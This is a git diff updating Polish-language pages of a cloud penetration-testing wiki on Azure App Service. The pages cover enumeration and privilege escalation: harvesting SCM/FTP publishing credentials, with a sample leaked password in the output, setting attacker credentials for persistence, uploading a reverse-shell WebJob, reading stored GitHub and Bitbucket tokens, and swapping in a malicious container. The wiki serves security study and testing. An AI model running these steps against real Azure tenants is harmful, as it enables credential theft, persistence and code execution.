diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 83563c241..a3015578f 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -5,27 +5,25 @@ ## Zainstaluj PowerShell w Linuxie > [!TIP] -> W Linuxie musisz zainstalować PowerShell Core: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # Zaktualizuj repozytoria -> sudo apt-get update -> sudo add-apt-repository universe -> -> # Zainstaluj i uruchom powershell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +> W Linuxie będziesz musiał zainstalować PowerShell Core: +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` ## Zainstaluj PowerShell w MacOS Instrukcje z [**dokumentacji**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index b2e194cd2..f8a837f25 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,22 +4,22 @@ ## App Services -Aby uzyskać więcej informacji na temat usług aplikacji Azure, sprawdź: +Aby uzyskać więcej informacji na temat usług Azure App, sprawdź: {{#ref}} ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -Te uprawnienia pozwalają na wywołanie następujących poleceń w celu uzyskania **SSH shell** wewnątrz aplikacji webowej +Te uprawnienia pozwalają na uzyskanie **SSH shell** wewnątrz aplikacji webowej. Pozwalają również na **debugowanie** aplikacji. -- Opcja bezpośrednia: +- **SSH w pojedynczej komendzie**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- Utwórz tunel, a następnie połącz się z SSH: +- **Utwórz tunel, a następnie połącz się z SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Debugowanie aplikacji**: +1. Zainstaluj rozszerzenie Azure w VScode. +2. Zaloguj się w rozszerzeniu za pomocą konta Azure. +3. Wypisz wszystkie usługi aplikacji w subskrypcji. +4. Wybierz usługę aplikacji, którą chcesz debugować, kliknij prawym przyciskiem myszy i wybierz "Rozpocznij debugowanie". +5. Jeśli aplikacja nie ma włączonego debugowania, rozszerzenie spróbuje je włączyć, ale Twoje konto musi mieć uprawnienia `Microsoft.Web/sites/config/write`, aby to zrobić. + +### Uzyskiwanie poświadczeń SCM i włączanie uwierzytelniania podstawowego + +Aby uzyskać poświadczenia SCM, możesz użyć następujących **komend i uprawnień**: + +- Uprawnienie **`Microsoft.Web/sites/publishxml/action`** pozwala na wywołanie: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +Zauważ, że **nazwa użytkownika jest zawsze taka sama** (z wyjątkiem FTP, który dodaje nazwę aplikacji na początku), ale **hasło jest takie samo** dla wszystkich. + +Ponadto, **adres URL SCM to `.scm.azurewebsites.net`**. + +- Uprawnienie **`Microsoft.Web/sites/config/list/action`** pozwala na wywołanie: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +Zauważ, że **poświadczenia są takie same** jak w poprzedniej komendzie. + +- Inną opcją byłoby **ustawienie własnych poświadczeń** i ich użycie: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +Następnie możesz użyć tych danych uwierzytelniających do **uzyskania dostępu do platform SCM i FTP**. To również świetny sposób na utrzymanie trwałości. + +Pamiętaj, że aby uzyskać dostęp do platformy SCM z **sieci, musisz uzyskać dostęp do `/BasicAuth`**. + +> [!WARNING] +> Zauważ, że każdy użytkownik może skonfigurować swoje własne dane uwierzytelniające, wywołując poprzednie polecenie, ale jeśli użytkownik nie ma wystarczających uprawnień do uzyskania dostępu do SCM lub FTP, dane uwierzytelniające nie będą działać. + +- Jeśli widzisz, że te dane uwierzytelniające są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowej autoryzacji SCM**, a do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### Publikowanie kodu za pomocą poświadczeń SCM + +Mając ważne poświadczenia SCM, możliwe jest **publikowanie kodu** do usługi App. Można to zrobić za pomocą następującego polecenia. + +W tym przykładzie Pythona możesz pobrać repozytorium z https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, wprowadzić dowolne **zmiany**, a następnie **spakować je, uruchamiając: `zip -r app.zip .`**. + +Następnie możesz **opublikować kod** za pomocą następującego polecenia: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | SCM credentials + +Wspomniane uprawnienie Azure pozwala na wykonanie kilku interesujących działań, które można również wykonać za pomocą poświadczeń SCM: + +- Odczyt logów **Webjobs**: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- Przeczytaj kod źródłowy **Webjobs**: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- Utwórz **ciągły Webjob**: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +To uprawnienie pozwala na wylistowanie **connection strings** i **appsettings** usługi App, które mogą zawierać wrażliwe informacje, takie jak dane uwierzytelniające do bazy danych. +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +Te uprawnienia pozwalają na **przypisanie zarządzanej tożsamości** do usługi App, więc jeśli usługa App została wcześniej skompromitowana, to pozwoli to atakującemu na przypisanie nowych zarządzanych tożsamości do usługi App i **eskalację uprawnień** do nich. +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich + +Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive. + +Oto kilka przykładów poleceń do sprawdzenia tokenów: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Aktualizacja kodu aplikacji ze źródła + +- Jeśli skonfigurowane źródło to dostawca zewnętrzny, taki jak Github, BitBucket lub Azure Repository, możesz **zaktualizować kod** usługi aplikacji, kompromitując kod źródłowy w repozytorium. +- Jeśli aplikacja jest skonfigurowana za pomocą **zdalnego repozytorium git** (z nazwą użytkownika i hasłem), możliwe jest uzyskanie **adresu URL i podstawowych poświadczeń autoryzacyjnych** do klonowania i wprowadzania zmian za pomocą: +- Używając uprawnienia **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Używając uprawnienia **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Jeśli aplikacja jest skonfigurowana do używania **lokalnego repozytorium git**, możliwe jest **sklonowanie repozytorium** i **wprowadzenie zmian** w nim: +- Używając uprawnienia **`Microsoft.Web/sites/sourcecontrols/read`**: Możesz uzyskać adres URL repozytorium git za pomocą `az webapp deployment source show --name --resource-group `, ale będzie to ten sam adres URL SCM aplikacji z ścieżką `/.git` (np. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Aby uzyskać poświadczenia SCM, potrzebujesz uprawnienia: +- **`Microsoft.Web/sites/publishxml/action`**: Następnie uruchom `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Następnie uruchom `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> Zauważ, że posiadanie uprawnienia `Microsoft.Web/sites/config/list/action` oraz poświadczeń SCM zawsze umożliwia wdrożenie do aplikacji webowej (nawet jeśli była skonfigurowana do używania dostawcy zewnętrznego), jak wspomniano w poprzedniej sekcji. + +> [!WARNING] +> Zauważ, że posiadanie poniższych uprawnień również **umożliwia wykonanie dowolnego kontenera**, nawet jeśli aplikacja webowa była skonfigurowana inaczej. + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +To zestaw uprawnień, który pozwala na **modyfikację kontenera używanego** przez aplikację webową. Napastnik mógłby to wykorzystać do uruchomienia złośliwego kontenera w aplikacji webowej. +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index b495a0930..4b37b4075 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,36 +2,87 @@ {{#include ../../../banners/hacktricks-training.md}} -## Podstawowe informacje o App Service +## Podstawowe informacje o usłudze App Service Azure App Services umożliwia deweloperom **tworzenie, wdrażanie i skalowanie aplikacji internetowych, zaplecza aplikacji mobilnych i interfejsów API w sposób bezproblemowy**. Obsługuje wiele języków programowania i integruje się z różnymi narzędziami i usługami Azure w celu zwiększenia funkcjonalności i zarządzania. -Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service +Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service. -- Aplikacje w darmowych i współdzielonych warstwach działają na współdzielonych VM -- Aplikacje w standardowych i premium warstwach działają na dedykowanych VM +- Aplikacje w darmowych i współdzielonych planach działają na współdzielonych maszynach wirtualnych. +- Aplikacje w standardowych i premium planach działają na dedykowanych maszynach wirtualnych. > [!WARNING] -> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **uzyskać podwyższone uprawnienia**. +> Należy pamiętać, że **żadne** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **eskalować uprawnienia do nich**. -### Aplikacje Azure Function +Aplikacje mają kilka interesujących konfiguracji: -W zasadzie **aplikacje Azure Function są podzbiorem Azure App Service** w sieci, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje Function wymienione tutaj**. - -W rzeczywistości niektóre z **funkcji związanych z bezpieczeństwem**, które wykorzystują usługi aplikacji (`webapp` w az cli), są **również używane przez aplikacje Function**. +- **Always On**: Zapewnia, że aplikacja zawsze działa. Jeśli nie jest włączona, aplikacja przestanie działać po 20 minutach bezczynności i uruchomi się ponownie, gdy zostanie odebrane żądanie. +- Jest to niezbędne, jeśli masz webjob, który musi działać nieprzerwanie, ponieważ webjob zatrzyma się, jeśli aplikacja przestanie działać. +- **SSH**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może połączyć się z aplikacją za pomocą SSH. +- **Debugowanie**: Jeśli włączone, użytkownik z wystarczającymi uprawnieniami może debugować aplikację. Jednak jest to automatycznie wyłączane co 48 godzin. +- **Aplikacja internetowa + Baza danych**: Konsola internetowa umożliwia utworzenie aplikacji z bazą danych. W tym przypadku można wybrać bazę danych do użycia (SQLAzure, PostgreSQL, MySQL, MongoDB) i umożliwia również utworzenie Azure Cache dla Redis. +- URL zawierający dane uwierzytelniające do bazy danych i Redis będzie przechowywany w **appsettings**. +- **Kontener**: Możliwe jest wdrożenie kontenera do App Service, wskazując URL kontenera i dane uwierzytelniające do jego dostępu. ## Podstawowa autoryzacja Podczas tworzenia aplikacji internetowej (a zazwyczaj funkcji Azure) można wskazać, czy chcesz, aby podstawowa autoryzacja była włączona. To zasadniczo **włącza SCM i FTP** dla aplikacji, dzięki czemu będzie możliwe wdrożenie aplikacji przy użyciu tych technologii.\ -Ponadto, aby się z nimi połączyć, Azure zapewnia **API, które pozwala uzyskać nazwę użytkownika, hasło i URL** do połączenia z serwerami SCM i FTP. +Ponadto, aby się z nimi połączyć, Azure udostępnia **API, które pozwala uzyskać nazwę użytkownika, hasło i URL** do połączenia z serwerami SCM i FTP. -- Autoryzacja: az webapp auth show --name lol --resource-group lol_group +Możliwe jest połączenie się z SCM za pomocą przeglądarki internetowej pod adresem `https:///BasicAuth` i sprawdzenie wszystkich plików i wdrożeń tam. -SSH +### Kudu -Always On +Kudu to **silnik wdrożeniowy i platforma zarządzania dla Azure App Service i Function Apps**, oferująca wdrożenia oparte na Gicie, zdalne debugowanie i możliwości zarządzania plikami dla aplikacji internetowych. Jest dostępny przez URL SCM aplikacji internetowej. + +Należy pamiętać, że wersje Kudu używane przez App Services i Function Apps są różne, przy czym wersja aplikacji funkcji jest znacznie bardziej ograniczona. + +Niektóre interesujące punkty końcowe, które można znaleźć w Kudu, to: +- `/DebugConsole`: Konsola, która pozwala na wykonywanie poleceń w środowisku, w którym działa Kudu. +- Należy pamiętać, że to środowisko **nie ma dostępu** do usługi metadanych w celu uzyskania tokenów. +- `/webssh/host`: Klient SSH oparty na sieci, który pozwala na połączenie się wewnątrz kontenera, w którym działa aplikacja. +- To środowisko **ma dostęp do usługi metadanych**, aby uzyskać tokeny z przypisanych tożsamości zarządzanych. +- `/Env`: Uzyskaj informacje o systemie, ustawieniach aplikacji, zmiennych środowiskowych, ciągach połączeń i nagłówkach HTTP. +- `/wwwroot/`: Katalog główny aplikacji internetowej. Możesz pobrać wszystkie pliki stąd. + +## Źródła + +App Services domyślnie pozwala na przesyłanie kodu jako pliku zip, ale również umożliwia połączenie z usługą zewnętrzną i pobranie kodu stamtąd. + +- Obecnie obsługiwane źródła zewnętrzne to **Github** i **Bitbucket**. +- Możesz uzyskać tokeny uwierzytelniające, uruchamiając `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` +- Azure domyślnie skonfiguruje **Github Action**, aby wdrożyć kod do App Service za każdym razem, gdy kod zostanie zaktualizowany. +- Możliwe jest również wskazanie **zdalnego repozytorium git** (z nazwą użytkownika i hasłem), aby pobrać kod stamtąd. +- Możesz uzyskać dane uwierzytelniające do zdalnego repozytorium, uruchamiając `az webapp deployment source show --name --resource-group ` lub `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Możliwe jest również użycie **Azure Repository**. +- Możliwe jest również skonfigurowanie **lokalnego repozytorium git**. +- Możesz uzyskać URL repozytorium git za pomocą `az webapp deployment source show --name --resource-group ` i będzie to URL SCM aplikacji. +- Aby je sklonować, będziesz potrzebować danych uwierzytelniających SCM, które możesz uzyskać za pomocą `az webapp deployment list-publishing-profiles --resource-group -n ` + + +## Webjobs + +Azure WebJobs to **zadania w tle, które działają w środowisku Azure App Service**. Umożliwiają deweloperom wykonywanie skryptów lub programów obok ich aplikacji internetowych, co ułatwia obsługę operacji asynchronicznych lub czasochłonnych, takich jak przetwarzanie plików, obsługa danych czy zadania zaplanowane. +Istnieją 2 typy web jobs: +- **Ciągłe**: Działa w nieskończoność w pętli i jest uruchamiane natychmiast po utworzeniu. Jest idealne do zadań, które wymagają stałego przetwarzania. Jednak jeśli aplikacja przestanie działać, ponieważ Always On jest wyłączone i nie otrzymała żądania w ciągu ostatnich 20 minut, web job również się zatrzyma. +- **Wyzwalane**: Działa na żądanie lub na podstawie harmonogramu. Najlepiej nadaje się do okresowych zadań, takich jak aktualizacje danych wsadowych lub rutyny konserwacyjne. + +Webjobs są bardzo interesujące z perspektywy atakującego, ponieważ mogą być używane do **wykonywania kodu** w środowisku i **eskalacji uprawnień** do przypisanych tożsamości zarządzanych. + +Ponadto zawsze warto sprawdzić **logi** generowane przez Webjobs, ponieważ mogą zawierać **wrażliwe informacje**. + +### Sloty + +Sloty Azure App Service są używane do **wdrażania różnych wersji aplikacji** w tej samej usłudze App Service. Umożliwia to deweloperom testowanie nowych funkcji lub zmian w oddzielnym środowisku przed wdrożeniem ich do środowiska produkcyjnego. + +Ponadto możliwe jest skierowanie **procenta ruchu** do konkretnego slotu, co jest przydatne do **testów A/B** oraz do celów backdoor. + +### Azure Function Apps + +Zasadniczo **Azure Function apps to podzbiór Azure App Service** w sieci, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje funkcji wymienione tutaj**. + +W rzeczywistości niektóre z **funkcji związanych z bezpieczeństwem**, które wykorzystują usługi aplikacji (`webapp` w az cli), są **również używane przez aplikacje funkcji**. -Debugging ### Enumeracja @@ -40,9 +91,10 @@ Debugging ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +103,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +133,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,7 +232,41 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## Odniesienia +## Przykłady generowania aplikacji webowych + +### Python z lokalnego + +Ten samouczek oparty jest na tym z [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +Logując się do portalu SCM lub przez FTP, można zobaczyć w `/wwwroot` skompresowany plik `output.tar.gz`, który zawiera kod aplikacji webowej. + +> [!TIP] +> Samo połączenie przez FTP i modyfikacja pliku `output.tar.gz` nie wystarczy, aby zmienić kod wykonywany przez aplikację webową. + +**Atakujący mógłby pobrać ten plik, zmodyfikować go i ponownie przesłać, aby wykonać dowolny kod w aplikacji webowej.** + +### Python z Github + +Ten samouczek oparty jest na poprzednim, ale wykorzystuje repozytorium Github. + +1. Forkuj repozytorium msdocs-python-flask-webapp-quickstart w swoim koncie Github. +2. Utwórz nową aplikację Web App w Azure. +3. W `Deployment Center` zmień źródło, zaloguj się za pomocą Github, wybierz forkowane repozytorium i kliknij `Save`. + +Podobnie jak w poprzednim przypadku, logując się do portalu SCM lub przez FTP, można zobaczyć w `/wwwroot` skompresowany plik `output.tar.gz`, który zawiera kod aplikacji webowej. + +> [!TIP] +> Samo połączenie przez FTP i modyfikacja pliku `output.tar.gz` oraz ponowne uruchomienie wdrożenia nie wystarczy, aby zmienić kod wykonywany przez aplikację webową. + + +## References - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)